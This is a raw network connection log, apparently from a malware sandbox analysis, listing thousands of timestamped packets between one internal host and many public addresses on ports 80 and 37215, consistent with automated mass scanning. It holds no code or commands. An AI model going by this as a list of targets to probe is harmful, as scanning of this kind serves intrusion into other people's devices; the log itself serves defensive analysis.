Dec 3, 2024 22:01:59.012388945 CET	39296	80	192.168.2.14	135.130.93.194
Dec 3, 2024 22:01:59.012388945 CET	80	39296	100.208.121.236	192.168.2.14
Dec 3, 2024 22:01:59.012396097 CET	80	39296	54.229.52.2	192.168.2.14
Dec 3, 2024 22:01:59.012408972 CET	39296	80	192.168.2.14	167.77.250.82
Dec 3, 2024 22:01:59.012418032 CET	80	39296	83.0.24.249	192.168.2.14
Dec 3, 2024 22:01:59.012423038 CET	80	39296	80.22.158.50	192.168.2.14
Dec 3, 2024 22:01:59.012425900 CET	39296	80	192.168.2.14	121.67.95.50
Dec 3, 2024 22:01:59.012425900 CET	39296	80	192.168.2.14	54.229.52.2
Dec 3, 2024 22:01:59.012442112 CET	39296	80	192.168.2.14	100.208.121.236
Dec 3, 2024 22:01:59.012459040 CET	80	39296	115.45.251.23	192.168.2.14
Dec 3, 2024 22:01:59.012470007 CET	39296	80	192.168.2.14	80.22.158.50
Dec 3, 2024 22:01:59.012475014 CET	39296	80	192.168.2.14	83.0.24.249
Dec 3, 2024 22:01:59.012485981 CET	80	39296	148.31.146.76	192.168.2.14
Dec 3, 2024 22:01:59.012501001 CET	39296	80	192.168.2.14	115.45.251.23
Dec 3, 2024 22:01:59.012514114 CET	80	39296	42.55.240.112	192.168.2.14
Dec 3, 2024 22:01:59.012517929 CET	80	39296	79.219.149.216	192.168.2.14
Dec 3, 2024 22:01:59.012527943 CET	39296	80	192.168.2.14	148.31.146.76
Dec 3, 2024 22:01:59.012558937 CET	39296	80	192.168.2.14	79.219.149.216
Dec 3, 2024 22:01:59.012561083 CET	39296	80	192.168.2.14	42.55.240.112
Dec 3, 2024 22:01:59.012619019 CET	80	39296	44.15.74.58	192.168.2.14
Dec 3, 2024 22:01:59.012624979 CET	80	39296	14.100.71.183	192.168.2.14
Dec 3, 2024 22:01:59.012629032 CET	80	39296	165.5.160.121	192.168.2.14
Dec 3, 2024 22:01:59.012636900 CET	80	39296	95.87.115.244	192.168.2.14
Dec 3, 2024 22:01:59.012641907 CET	37215	40832	197.131.221.28	192.168.2.14
Dec 3, 2024 22:01:59.012646914 CET	80	39296	84.241.125.165	192.168.2.14
Dec 3, 2024 22:01:59.012650967 CET	80	39296	189.27.127.5	192.168.2.14
Dec 3, 2024 22:01:59.012654066 CET	80	39296	75.157.156.240	192.168.2.14
Dec 3, 2024 22:01:59.012658119 CET	39296	80	192.168.2.14	14.100.71.183
Dec 3, 2024 22:01:59.012664080 CET	39296	80	192.168.2.14	165.5.160.121
Dec 3, 2024 22:01:59.012669086 CET	39296	80	192.168.2.14	44.15.74.58
Dec 3, 2024 22:01:59.012681961 CET	39296	80	192.168.2.14	95.87.115.244
Dec 3, 2024 22:01:59.012681961 CET	39296	80	192.168.2.14	84.241.125.165
Dec 3, 2024 22:01:59.012685061 CET	40832	37215	192.168.2.14	197.131.221.28
Dec 3, 2024 22:01:59.012692928 CET	39296	80	192.168.2.14	75.157.156.240
Dec 3, 2024 22:01:59.012696981 CET	39296	80	192.168.2.14	189.27.127.5
Dec 3, 2024 22:01:59.013267994 CET	80	39296	200.90.84.162	192.168.2.14
Dec 3, 2024 22:01:59.013273954 CET	80	39296	200.167.117.185	192.168.2.14
Dec 3, 2024 22:01:59.013307095 CET	37215	40832	197.33.244.236	192.168.2.14
Dec 3, 2024 22:01:59.013324022 CET	39296	80	192.168.2.14	200.90.84.162
Dec 3, 2024 22:01:59.013329029 CET	39296	80	192.168.2.14	200.167.117.185
Dec 3, 2024 22:01:59.013345003 CET	37215	40832	156.10.222.234	192.168.2.14
Dec 3, 2024 22:01:59.013351917 CET	80	39296	51.187.169.125	192.168.2.14
Dec 3, 2024 22:01:59.013361931 CET	40832	37215	192.168.2.14	197.33.244.236
Dec 3, 2024 22:01:59.013374090 CET	37215	40832	197.67.89.55	192.168.2.14
Dec 3, 2024 22:01:59.013387918 CET	40832	37215	192.168.2.14	156.10.222.234
Dec 3, 2024 22:01:59.013395071 CET	39296	80	192.168.2.14	51.187.169.125
Dec 3, 2024 22:01:59.013415098 CET	40832	37215	192.168.2.14	197.67.89.55
Dec 3, 2024 22:01:59.013431072 CET	80	39296	162.160.145.121	192.168.2.14
Dec 3, 2024 22:01:59.013480902 CET	80	39296	194.214.53.139	192.168.2.14
Dec 3, 2024 22:01:59.013480902 CET	39296	80	192.168.2.14	162.160.145.121
Dec 3, 2024 22:01:59.013485909 CET	80	39296	5.108.149.159	192.168.2.14
Dec 3, 2024 22:01:59.013506889 CET	37215	40832	41.108.41.189	192.168.2.14
Dec 3, 2024 22:01:59.013531923 CET	80	39296	175.105.30.163	192.168.2.14
Dec 3, 2024 22:01:59.013545036 CET	39296	80	192.168.2.14	194.214.53.139
Dec 3, 2024 22:01:59.013547897 CET	39296	80	192.168.2.14	5.108.149.159
Dec 3, 2024 22:01:59.013557911 CET	40832	37215	192.168.2.14	41.108.41.189
Dec 3, 2024 22:01:59.013562918 CET	39296	80	192.168.2.14	175.105.30.163
Dec 3, 2024 22:01:59.013573885 CET	80	39296	136.230.11.188	192.168.2.14
Dec 3, 2024 22:01:59.013578892 CET	80	39296	94.130.133.140	192.168.2.14
Dec 3, 2024 22:01:59.013618946 CET	39296	80	192.168.2.14	136.230.11.188
Dec 3, 2024 22:01:59.013627052 CET	39296	80	192.168.2.14	94.130.133.140
Dec 3, 2024 22:01:59.013627052 CET	80	39296	186.105.47.180	192.168.2.14
Dec 3, 2024 22:01:59.013634920 CET	37215	40832	197.135.221.129	192.168.2.14
Dec 3, 2024 22:01:59.013669014 CET	37215	40832	197.72.175.250	192.168.2.14
Dec 3, 2024 22:01:59.013669968 CET	39296	80	192.168.2.14	186.105.47.180
Dec 3, 2024 22:01:59.013674021 CET	80	39296	34.103.229.141	192.168.2.14
Dec 3, 2024 22:01:59.013674021 CET	40832	37215	192.168.2.14	197.135.221.129
Dec 3, 2024 22:01:59.013678074 CET	37215	40832	197.235.176.49	192.168.2.14
Dec 3, 2024 22:01:59.013704062 CET	37215	40832	156.247.34.144	192.168.2.14
Dec 3, 2024 22:01:59.013708115 CET	37215	40832	156.62.206.146	192.168.2.14
Dec 3, 2024 22:01:59.013709068 CET	40832	37215	192.168.2.14	197.72.175.250
Dec 3, 2024 22:01:59.013755083 CET	39296	80	192.168.2.14	34.103.229.141
Dec 3, 2024 22:01:59.013755083 CET	40832	37215	192.168.2.14	197.235.176.49
Dec 3, 2024 22:01:59.013768911 CET	37215	40832	197.72.1.191	192.168.2.14
Dec 3, 2024 22:01:59.013773918 CET	37215	40832	41.71.208.182	192.168.2.14
Dec 3, 2024 22:01:59.013778925 CET	37215	40832	156.249.181.192	192.168.2.14
Dec 3, 2024 22:01:59.013783932 CET	80	39296	120.164.93.207	192.168.2.14
Dec 3, 2024 22:01:59.013786077 CET	40832	37215	192.168.2.14	156.247.34.144
Dec 3, 2024 22:01:59.013786077 CET	40832	37215	192.168.2.14	156.62.206.146
Dec 3, 2024 22:01:59.013787985 CET	80	39296	146.186.57.36	192.168.2.14
Dec 3, 2024 22:01:59.013792992 CET	80	39296	45.199.250.110	192.168.2.14
Dec 3, 2024 22:01:59.013797998 CET	37215	40832	41.6.226.229	192.168.2.14
Dec 3, 2024 22:01:59.013809919 CET	40832	37215	192.168.2.14	197.72.1.191
Dec 3, 2024 22:01:59.013809919 CET	39296	80	192.168.2.14	120.164.93.207
Dec 3, 2024 22:01:59.013809919 CET	40832	37215	192.168.2.14	41.71.208.182
Dec 3, 2024 22:01:59.013817072 CET	40832	37215	192.168.2.14	156.249.181.192
Dec 3, 2024 22:01:59.013832092 CET	39296	80	192.168.2.14	45.199.250.110
Dec 3, 2024 22:01:59.013840914 CET	39296	80	192.168.2.14	146.186.57.36
Dec 3, 2024 22:01:59.013840914 CET	37215	40832	197.152.71.127	192.168.2.14
Dec 3, 2024 22:01:59.013840914 CET	40832	37215	192.168.2.14	41.6.226.229
Dec 3, 2024 22:01:59.013885021 CET	40832	37215	192.168.2.14	197.152.71.127
Dec 3, 2024 22:01:59.014405012 CET	37215	40832	41.153.108.223	192.168.2.14
Dec 3, 2024 22:01:59.014429092 CET	37215	40832	197.96.206.190	192.168.2.14
Dec 3, 2024 22:01:59.014432907 CET	37215	40832	41.156.23.12	192.168.2.14
Dec 3, 2024 22:01:59.014473915 CET	40832	37215	192.168.2.14	41.153.108.223
Dec 3, 2024 22:01:59.014473915 CET	37215	40832	197.112.139.146	192.168.2.14
Dec 3, 2024 22:01:59.014473915 CET	40832	37215	192.168.2.14	197.96.206.190
Dec 3, 2024 22:01:59.014473915 CET	40832	37215	192.168.2.14	41.156.23.12
Dec 3, 2024 22:01:59.014482021 CET	37215	40832	41.212.82.165	192.168.2.14
Dec 3, 2024 22:01:59.014504910 CET	37215	40832	156.11.213.105	192.168.2.14
Dec 3, 2024 22:01:59.014518976 CET	40832	37215	192.168.2.14	197.112.139.146
Dec 3, 2024 22:01:59.014525890 CET	40832	37215	192.168.2.14	41.212.82.165
Dec 3, 2024 22:01:59.014528036 CET	37215	40832	156.156.106.7	192.168.2.14
Dec 3, 2024 22:01:59.014544964 CET	40832	37215	192.168.2.14	156.11.213.105
Dec 3, 2024 22:01:59.014560938 CET	40832	37215	192.168.2.14	156.156.106.7
Dec 3, 2024 22:01:59.014564991 CET	37215	40832	156.210.208.107	192.168.2.14
Dec 3, 2024 22:01:59.014605999 CET	40832	37215	192.168.2.14	156.210.208.107
Dec 3, 2024 22:01:59.014636040 CET	37215	40832	197.159.217.130	192.168.2.14
Dec 3, 2024 22:01:59.014650106 CET	37215	40832	41.75.20.158	192.168.2.14
Dec 3, 2024 22:01:59.014653921 CET	37215	40832	41.46.139.28	192.168.2.14
Dec 3, 2024 22:01:59.014663935 CET	37215	40832	41.181.254.14	192.168.2.14
Dec 3, 2024 22:01:59.014688015 CET	40832	37215	192.168.2.14	41.46.139.28
Dec 3, 2024 22:01:59.014702082 CET	40832	37215	192.168.2.14	197.159.217.130
Dec 3, 2024 22:01:59.014704943 CET	40832	37215	192.168.2.14	41.75.20.158
Dec 3, 2024 22:01:59.014704943 CET	40832	37215	192.168.2.14	41.181.254.14
Dec 3, 2024 22:01:59.014733076 CET	37215	40832	197.179.133.210	192.168.2.14
Dec 3, 2024 22:01:59.014739037 CET	37215	40832	197.57.107.28	192.168.2.14
Dec 3, 2024 22:01:59.014744043 CET	37215	40832	197.4.145.48	192.168.2.14
Dec 3, 2024 22:01:59.014761925 CET	37215	40832	41.241.187.250	192.168.2.14
Dec 3, 2024 22:01:59.014781952 CET	37215	40832	156.248.97.161	192.168.2.14
Dec 3, 2024 22:01:59.014785051 CET	40832	37215	192.168.2.14	197.4.145.48
Dec 3, 2024 22:01:59.014786005 CET	37215	40832	156.194.219.119	192.168.2.14
Dec 3, 2024 22:01:59.014785051 CET	40832	37215	192.168.2.14	197.57.107.28
Dec 3, 2024 22:01:59.014790058 CET	40832	37215	192.168.2.14	197.179.133.210
Dec 3, 2024 22:01:59.014800072 CET	40832	37215	192.168.2.14	41.241.187.250
Dec 3, 2024 22:01:59.014807940 CET	37215	40832	156.104.25.197	192.168.2.14
Dec 3, 2024 22:01:59.014812946 CET	37215	40832	156.84.122.32	192.168.2.14
Dec 3, 2024 22:01:59.014817953 CET	40832	37215	192.168.2.14	156.194.219.119
Dec 3, 2024 22:01:59.014822960 CET	40832	37215	192.168.2.14	156.248.97.161
Dec 3, 2024 22:01:59.014844894 CET	37215	40832	197.142.214.14	192.168.2.14
Dec 3, 2024 22:01:59.014851093 CET	37215	40832	156.16.132.97	192.168.2.14
Dec 3, 2024 22:01:59.014852047 CET	40832	37215	192.168.2.14	156.84.122.32
Dec 3, 2024 22:01:59.014854908 CET	37215	40832	197.155.202.190	192.168.2.14
Dec 3, 2024 22:01:59.014859915 CET	40832	37215	192.168.2.14	156.104.25.197
Dec 3, 2024 22:01:59.014885902 CET	40832	37215	192.168.2.14	197.155.202.190
Dec 3, 2024 22:01:59.014885902 CET	40832	37215	192.168.2.14	156.16.132.97
Dec 3, 2024 22:01:59.014890909 CET	37215	40832	41.39.76.120	192.168.2.14
Dec 3, 2024 22:01:59.014895916 CET	37215	40832	41.151.101.242	192.168.2.14
Dec 3, 2024 22:01:59.014899969 CET	37215	40832	156.225.191.200	192.168.2.14
Dec 3, 2024 22:01:59.014904976 CET	37215	40832	156.246.130.96	192.168.2.14
Dec 3, 2024 22:01:59.014909029 CET	40832	37215	192.168.2.14	197.142.214.14
Dec 3, 2024 22:01:59.014935017 CET	40832	37215	192.168.2.14	41.151.101.242
Dec 3, 2024 22:01:59.014935970 CET	40832	37215	192.168.2.14	41.39.76.120
Dec 3, 2024 22:01:59.014938116 CET	40832	37215	192.168.2.14	156.225.191.200
Dec 3, 2024 22:01:59.014969110 CET	40832	37215	192.168.2.14	156.246.130.96
Dec 3, 2024 22:01:59.015264034 CET	37215	40832	197.85.86.96	192.168.2.14
Dec 3, 2024 22:01:59.015305996 CET	40832	37215	192.168.2.14	197.85.86.96
Dec 3, 2024 22:01:59.015598059 CET	37215	40832	197.224.189.19	192.168.2.14
Dec 3, 2024 22:01:59.015604019 CET	37215	40832	41.220.247.48	192.168.2.14
Dec 3, 2024 22:01:59.015633106 CET	37215	40832	197.180.239.180	192.168.2.14
Dec 3, 2024 22:01:59.015645027 CET	40832	37215	192.168.2.14	41.220.247.48
Dec 3, 2024 22:01:59.015649080 CET	40832	37215	192.168.2.14	197.224.189.19
Dec 3, 2024 22:01:59.015666962 CET	37215	40832	41.43.137.7	192.168.2.14
Dec 3, 2024 22:01:59.015670061 CET	40832	37215	192.168.2.14	197.180.239.180
Dec 3, 2024 22:01:59.015675068 CET	37215	40832	41.123.85.87	192.168.2.14
Dec 3, 2024 22:01:59.015752077 CET	40832	37215	192.168.2.14	41.43.137.7
Dec 3, 2024 22:01:59.015752077 CET	40832	37215	192.168.2.14	41.123.85.87
Dec 3, 2024 22:01:59.015767097 CET	37215	40832	41.153.64.154	192.168.2.14
Dec 3, 2024 22:01:59.015774012 CET	37215	40832	156.27.21.106	192.168.2.14
Dec 3, 2024 22:01:59.015783072 CET	37215	40832	41.78.165.107	192.168.2.14
Dec 3, 2024 22:01:59.015786886 CET	37215	40832	197.24.83.76	192.168.2.14
Dec 3, 2024 22:01:59.015799999 CET	37215	40832	41.239.161.89	192.168.2.14
Dec 3, 2024 22:01:59.015805006 CET	37215	40832	41.160.240.152	192.168.2.14
Dec 3, 2024 22:01:59.015816927 CET	40832	37215	192.168.2.14	41.153.64.154
Dec 3, 2024 22:01:59.015816927 CET	40832	37215	192.168.2.14	41.78.165.107
Dec 3, 2024 22:01:59.015816927 CET	40832	37215	192.168.2.14	156.27.21.106
Dec 3, 2024 22:01:59.015820980 CET	37215	40832	156.103.31.155	192.168.2.14
Dec 3, 2024 22:01:59.015826941 CET	37215	40832	41.108.5.45	192.168.2.14
Dec 3, 2024 22:01:59.015829086 CET	40832	37215	192.168.2.14	41.239.161.89
Dec 3, 2024 22:01:59.015830994 CET	40832	37215	192.168.2.14	197.24.83.76
Dec 3, 2024 22:01:59.015832901 CET	37215	40832	197.120.129.147	192.168.2.14
Dec 3, 2024 22:01:59.015836954 CET	40832	37215	192.168.2.14	41.160.240.152
Dec 3, 2024 22:01:59.015847921 CET	37215	40832	197.30.245.141	192.168.2.14
Dec 3, 2024 22:01:59.015852928 CET	37215	40832	41.98.40.184	192.168.2.14
Dec 3, 2024 22:01:59.015861034 CET	37215	40832	197.253.88.1	192.168.2.14
Dec 3, 2024 22:01:59.015866995 CET	40832	37215	192.168.2.14	197.120.129.147
Dec 3, 2024 22:01:59.015868902 CET	40832	37215	192.168.2.14	41.108.5.45
Dec 3, 2024 22:01:59.015877008 CET	40832	37215	192.168.2.14	156.103.31.155
Dec 3, 2024 22:01:59.015877962 CET	40832	37215	192.168.2.14	41.98.40.184
Dec 3, 2024 22:01:59.015880108 CET	37215	40832	156.117.203.232	192.168.2.14
Dec 3, 2024 22:01:59.015892982 CET	40832	37215	192.168.2.14	197.30.245.141
Dec 3, 2024 22:01:59.015913010 CET	40832	37215	192.168.2.14	197.253.88.1
Dec 3, 2024 22:01:59.015913963 CET	40832	37215	192.168.2.14	156.117.203.232
Dec 3, 2024 22:01:59.015917063 CET	37215	40832	156.86.237.80	192.168.2.14
Dec 3, 2024 22:01:59.015937090 CET	37215	40832	41.177.206.103	192.168.2.14
Dec 3, 2024 22:01:59.015974045 CET	37215	40832	41.47.241.24	192.168.2.14
Dec 3, 2024 22:01:59.015974998 CET	40832	37215	192.168.2.14	156.86.237.80
Dec 3, 2024 22:01:59.015994072 CET	40832	37215	192.168.2.14	41.177.206.103
Dec 3, 2024 22:01:59.016005993 CET	37215	40832	156.49.117.58	192.168.2.14
Dec 3, 2024 22:01:59.016011953 CET	37215	40832	41.133.206.52	192.168.2.14
Dec 3, 2024 22:01:59.016016960 CET	40832	37215	192.168.2.14	41.47.241.24
Dec 3, 2024 22:01:59.016041040 CET	40832	37215	192.168.2.14	41.133.206.52
Dec 3, 2024 22:01:59.016041040 CET	40832	37215	192.168.2.14	156.49.117.58
Dec 3, 2024 22:01:59.016050100 CET	37215	40832	197.172.152.145	192.168.2.14
Dec 3, 2024 22:01:59.016093016 CET	37215	40832	41.171.201.85	192.168.2.14
Dec 3, 2024 22:01:59.016117096 CET	40832	37215	192.168.2.14	197.172.152.145
Dec 3, 2024 22:01:59.016144991 CET	40832	37215	192.168.2.14	41.171.201.85
Dec 3, 2024 22:01:59.016153097 CET	37215	40832	156.92.143.84	192.168.2.14
Dec 3, 2024 22:01:59.016158104 CET	37215	40832	156.252.85.104	192.168.2.14
Dec 3, 2024 22:01:59.016168118 CET	37215	40832	197.154.40.45	192.168.2.14
Dec 3, 2024 22:01:59.016197920 CET	40832	37215	192.168.2.14	156.92.143.84
Dec 3, 2024 22:01:59.016200066 CET	40832	37215	192.168.2.14	156.252.85.104
Dec 3, 2024 22:01:59.016200066 CET	40832	37215	192.168.2.14	197.154.40.45
Dec 3, 2024 22:01:59.016760111 CET	37215	40832	156.249.46.194	192.168.2.14
Dec 3, 2024 22:01:59.016774893 CET	37215	40832	156.45.230.59	192.168.2.14
Dec 3, 2024 22:01:59.016803026 CET	40832	37215	192.168.2.14	156.249.46.194
Dec 3, 2024 22:01:59.016824007 CET	40832	37215	192.168.2.14	156.45.230.59
Dec 3, 2024 22:01:59.016841888 CET	37215	40832	156.186.131.8	192.168.2.14
Dec 3, 2024 22:01:59.016849995 CET	37215	40832	41.236.41.145	192.168.2.14
Dec 3, 2024 22:01:59.016863108 CET	37215	40832	156.253.21.171	192.168.2.14
Dec 3, 2024 22:01:59.016872883 CET	37215	40832	41.112.171.140	192.168.2.14
Dec 3, 2024 22:01:59.016882896 CET	37215	40832	197.219.206.118	192.168.2.14
Dec 3, 2024 22:01:59.016889095 CET	40832	37215	192.168.2.14	41.236.41.145
Dec 3, 2024 22:01:59.016891003 CET	40832	37215	192.168.2.14	156.186.131.8
Dec 3, 2024 22:01:59.016900063 CET	37215	40832	41.225.145.103	192.168.2.14
Dec 3, 2024 22:01:59.016913891 CET	40832	37215	192.168.2.14	41.112.171.140
Dec 3, 2024 22:01:59.016917944 CET	40832	37215	192.168.2.14	197.219.206.118
Dec 3, 2024 22:01:59.016927004 CET	37215	40832	41.207.165.219	192.168.2.14
Dec 3, 2024 22:01:59.016932011 CET	40832	37215	192.168.2.14	156.253.21.171
Dec 3, 2024 22:01:59.016932964 CET	40832	37215	192.168.2.14	41.225.145.103
Dec 3, 2024 22:01:59.016947985 CET	37215	40832	156.39.31.35	192.168.2.14
Dec 3, 2024 22:01:59.016964912 CET	40832	37215	192.168.2.14	41.207.165.219
Dec 3, 2024 22:01:59.016972065 CET	37215	40832	156.195.219.209	192.168.2.14
Dec 3, 2024 22:01:59.016976118 CET	37215	40832	41.53.94.126	192.168.2.14
Dec 3, 2024 22:01:59.017004013 CET	40832	37215	192.168.2.14	156.39.31.35
Dec 3, 2024 22:01:59.017010927 CET	40832	37215	192.168.2.14	156.195.219.209
Dec 3, 2024 22:01:59.017010927 CET	40832	37215	192.168.2.14	41.53.94.126
Dec 3, 2024 22:01:59.017076969 CET	37215	40832	156.55.104.162	192.168.2.14
Dec 3, 2024 22:01:59.017082930 CET	37215	40832	41.24.104.107	192.168.2.14
Dec 3, 2024 22:01:59.017091990 CET	37215	40832	156.52.67.190	192.168.2.14
Dec 3, 2024 22:01:59.017096996 CET	37215	40832	156.162.57.201	192.168.2.14
Dec 3, 2024 22:01:59.017106056 CET	37215	40832	41.11.248.199	192.168.2.14
Dec 3, 2024 22:01:59.017115116 CET	37215	40832	41.137.103.171	192.168.2.14
Dec 3, 2024 22:01:59.017122030 CET	40832	37215	192.168.2.14	156.55.104.162
Dec 3, 2024 22:01:59.017126083 CET	37215	40832	156.142.133.70	192.168.2.14
Dec 3, 2024 22:01:59.017132044 CET	37215	40832	156.157.190.89	192.168.2.14
Dec 3, 2024 22:01:59.017136097 CET	37215	40832	41.20.177.20	192.168.2.14
Dec 3, 2024 22:01:59.017141104 CET	37215	40832	197.4.224.149	192.168.2.14
Dec 3, 2024 22:01:59.017141104 CET	40832	37215	192.168.2.14	156.162.57.201
Dec 3, 2024 22:01:59.017141104 CET	40832	37215	192.168.2.14	41.137.103.171
Dec 3, 2024 22:01:59.017142057 CET	40832	37215	192.168.2.14	41.24.104.107
Dec 3, 2024 22:01:59.017142057 CET	40832	37215	192.168.2.14	41.11.248.199
Dec 3, 2024 22:01:59.017143965 CET	40832	37215	192.168.2.14	156.52.67.190
Dec 3, 2024 22:01:59.017146111 CET	37215	40832	156.52.12.36	192.168.2.14
Dec 3, 2024 22:01:59.017154932 CET	37215	40832	197.212.187.57	192.168.2.14
Dec 3, 2024 22:01:59.017158031 CET	40832	37215	192.168.2.14	156.142.133.70
Dec 3, 2024 22:01:59.017159939 CET	37215	40832	197.251.61.243	192.168.2.14
Dec 3, 2024 22:01:59.017163992 CET	40832	37215	192.168.2.14	156.157.190.89
Dec 3, 2024 22:01:59.017179966 CET	40832	37215	192.168.2.14	197.4.224.149
Dec 3, 2024 22:01:59.017183065 CET	40832	37215	192.168.2.14	197.212.187.57
Dec 3, 2024 22:01:59.017184973 CET	40832	37215	192.168.2.14	41.20.177.20
Dec 3, 2024 22:01:59.017184973 CET	40832	37215	192.168.2.14	156.52.12.36
Dec 3, 2024 22:01:59.017204046 CET	40832	37215	192.168.2.14	197.251.61.243
Dec 3, 2024 22:01:59.017240047 CET	37215	40832	197.215.13.45	192.168.2.14
Dec 3, 2024 22:01:59.017245054 CET	37215	40832	156.201.206.147	192.168.2.14
Dec 3, 2024 22:01:59.017256975 CET	37215	40832	197.68.166.114	192.168.2.14
Dec 3, 2024 22:01:59.017286062 CET	40832	37215	192.168.2.14	197.215.13.45
Dec 3, 2024 22:01:59.017292023 CET	40832	37215	192.168.2.14	197.68.166.114
Dec 3, 2024 22:01:59.017323017 CET	40832	37215	192.168.2.14	156.201.206.147
Dec 3, 2024 22:01:59.017761946 CET	37215	40832	156.216.242.188	192.168.2.14
Dec 3, 2024 22:01:59.017822027 CET	37215	40832	156.65.15.198	192.168.2.14
Dec 3, 2024 22:01:59.017824888 CET	40832	37215	192.168.2.14	156.216.242.188
Dec 3, 2024 22:01:59.017827988 CET	37215	40832	41.153.222.47	192.168.2.14
Dec 3, 2024 22:01:59.017832994 CET	37215	40832	197.186.83.163	192.168.2.14
Dec 3, 2024 22:01:59.017853975 CET	37215	40832	41.163.29.168	192.168.2.14
Dec 3, 2024 22:01:59.017858028 CET	37215	40832	41.167.152.30	192.168.2.14
Dec 3, 2024 22:01:59.017867088 CET	40832	37215	192.168.2.14	156.65.15.198
Dec 3, 2024 22:01:59.017868996 CET	40832	37215	192.168.2.14	41.153.222.47
Dec 3, 2024 22:01:59.017869949 CET	37215	40832	156.136.174.192	192.168.2.14
Dec 3, 2024 22:01:59.017895937 CET	40832	37215	192.168.2.14	41.163.29.168
Dec 3, 2024 22:01:59.017895937 CET	40832	37215	192.168.2.14	197.186.83.163
Dec 3, 2024 22:01:59.017895937 CET	40832	37215	192.168.2.14	41.167.152.30
Dec 3, 2024 22:01:59.017904043 CET	40832	37215	192.168.2.14	156.136.174.192
Dec 3, 2024 22:01:59.017990112 CET	37215	40832	41.91.175.85	192.168.2.14
Dec 3, 2024 22:01:59.017995119 CET	37215	40832	41.236.171.93	192.168.2.14
Dec 3, 2024 22:01:59.017998934 CET	37215	40832	156.255.58.217	192.168.2.14
Dec 3, 2024 22:01:59.018007040 CET	37215	40832	156.192.8.141	192.168.2.14
Dec 3, 2024 22:01:59.018013954 CET	37215	40832	197.144.227.30	192.168.2.14
Dec 3, 2024 22:01:59.018023968 CET	40832	37215	192.168.2.14	41.91.175.85
Dec 3, 2024 22:01:59.018027067 CET	40832	37215	192.168.2.14	41.236.171.93
Dec 3, 2024 22:01:59.018027067 CET	37215	40832	41.106.218.82	192.168.2.14
Dec 3, 2024 22:01:59.018032074 CET	37215	40832	197.82.163.87	192.168.2.14
Dec 3, 2024 22:01:59.018035889 CET	40832	37215	192.168.2.14	156.255.58.217
Dec 3, 2024 22:01:59.018037081 CET	37215	40832	41.142.28.147	192.168.2.14
Dec 3, 2024 22:01:59.018043995 CET	40832	37215	192.168.2.14	156.192.8.141
Dec 3, 2024 22:01:59.018050909 CET	40832	37215	192.168.2.14	197.144.227.30
Dec 3, 2024 22:01:59.018054008 CET	40832	37215	192.168.2.14	41.106.218.82
Dec 3, 2024 22:01:59.018079042 CET	40832	37215	192.168.2.14	41.142.28.147
Dec 3, 2024 22:01:59.018090010 CET	37215	40832	197.88.49.109	192.168.2.14
Dec 3, 2024 22:01:59.018095016 CET	37215	40832	41.192.66.146	192.168.2.14
Dec 3, 2024 22:01:59.018099070 CET	37215	40832	156.77.34.39	192.168.2.14
Dec 3, 2024 22:01:59.018102884 CET	37215	40832	41.20.108.167	192.168.2.14
Dec 3, 2024 22:01:59.018102884 CET	40832	37215	192.168.2.14	197.82.163.87
Dec 3, 2024 22:01:59.018106937 CET	37215	40832	197.9.73.239	192.168.2.14
Dec 3, 2024 22:01:59.018110991 CET	37215	40832	41.196.213.124	192.168.2.14
Dec 3, 2024 22:01:59.018135071 CET	40832	37215	192.168.2.14	41.192.66.146
Dec 3, 2024 22:01:59.018136024 CET	40832	37215	192.168.2.14	197.88.49.109
Dec 3, 2024 22:01:59.018143892 CET	40832	37215	192.168.2.14	156.77.34.39
Dec 3, 2024 22:01:59.018161058 CET	40832	37215	192.168.2.14	197.9.73.239
Dec 3, 2024 22:01:59.018161058 CET	40832	37215	192.168.2.14	41.20.108.167
Dec 3, 2024 22:01:59.018161058 CET	40832	37215	192.168.2.14	41.196.213.124
Dec 3, 2024 22:01:59.018176079 CET	37215	40832	156.200.16.106	192.168.2.14
Dec 3, 2024 22:01:59.018182039 CET	37215	40832	197.216.250.243	192.168.2.14
Dec 3, 2024 22:01:59.018191099 CET	37215	40832	156.61.182.128	192.168.2.14
Dec 3, 2024 22:01:59.018194914 CET	37215	40832	197.5.12.116	192.168.2.14
Dec 3, 2024 22:01:59.018199921 CET	37215	40832	156.150.228.147	192.168.2.14
Dec 3, 2024 22:01:59.018203974 CET	37215	40832	41.230.230.139	192.168.2.14
Dec 3, 2024 22:01:59.018208981 CET	37215	40832	156.236.221.80	192.168.2.14
Dec 3, 2024 22:01:59.018222094 CET	40832	37215	192.168.2.14	197.216.250.243
Dec 3, 2024 22:01:59.018224001 CET	40832	37215	192.168.2.14	156.61.182.128
Dec 3, 2024 22:01:59.018225908 CET	40832	37215	192.168.2.14	156.200.16.106
Dec 3, 2024 22:01:59.018232107 CET	40832	37215	192.168.2.14	197.5.12.116
Dec 3, 2024 22:01:59.018235922 CET	40832	37215	192.168.2.14	156.150.228.147
Dec 3, 2024 22:01:59.018255949 CET	40832	37215	192.168.2.14	156.236.221.80
Dec 3, 2024 22:01:59.018291950 CET	40832	37215	192.168.2.14	41.230.230.139
Dec 3, 2024 22:01:59.018789053 CET	37215	40832	156.57.138.243	192.168.2.14
Dec 3, 2024 22:01:59.018793106 CET	37215	40832	197.82.27.225	192.168.2.14
Dec 3, 2024 22:01:59.018806934 CET	37215	40832	41.128.83.20	192.168.2.14
Dec 3, 2024 22:01:59.018810987 CET	37215	40832	197.226.5.43	192.168.2.14
Dec 3, 2024 22:01:59.018830061 CET	40832	37215	192.168.2.14	156.57.138.243
Dec 3, 2024 22:01:59.018837929 CET	40832	37215	192.168.2.14	41.128.83.20
Dec 3, 2024 22:01:59.018845081 CET	40832	37215	192.168.2.14	197.226.5.43
Dec 3, 2024 22:01:59.018846989 CET	40832	37215	192.168.2.14	197.82.27.225
Dec 3, 2024 22:01:59.018862009 CET	37215	40832	156.189.169.169	192.168.2.14
Dec 3, 2024 22:01:59.018867970 CET	37215	40832	41.185.72.107	192.168.2.14
Dec 3, 2024 22:01:59.018874884 CET	37215	40832	156.3.200.244	192.168.2.14
Dec 3, 2024 22:01:59.018892050 CET	37215	40832	156.56.12.58	192.168.2.14
Dec 3, 2024 22:01:59.018901110 CET	40832	37215	192.168.2.14	156.189.169.169
Dec 3, 2024 22:01:59.018904924 CET	40832	37215	192.168.2.14	41.185.72.107
Dec 3, 2024 22:01:59.018907070 CET	40832	37215	192.168.2.14	156.3.200.244
Dec 3, 2024 22:01:59.018917084 CET	40832	37215	192.168.2.14	156.56.12.58
Dec 3, 2024 22:01:59.018940926 CET	37215	40832	41.147.4.176	192.168.2.14
Dec 3, 2024 22:01:59.018948078 CET	37215	40832	197.153.172.193	192.168.2.14
Dec 3, 2024 22:01:59.018980026 CET	37215	40832	41.207.6.86	192.168.2.14
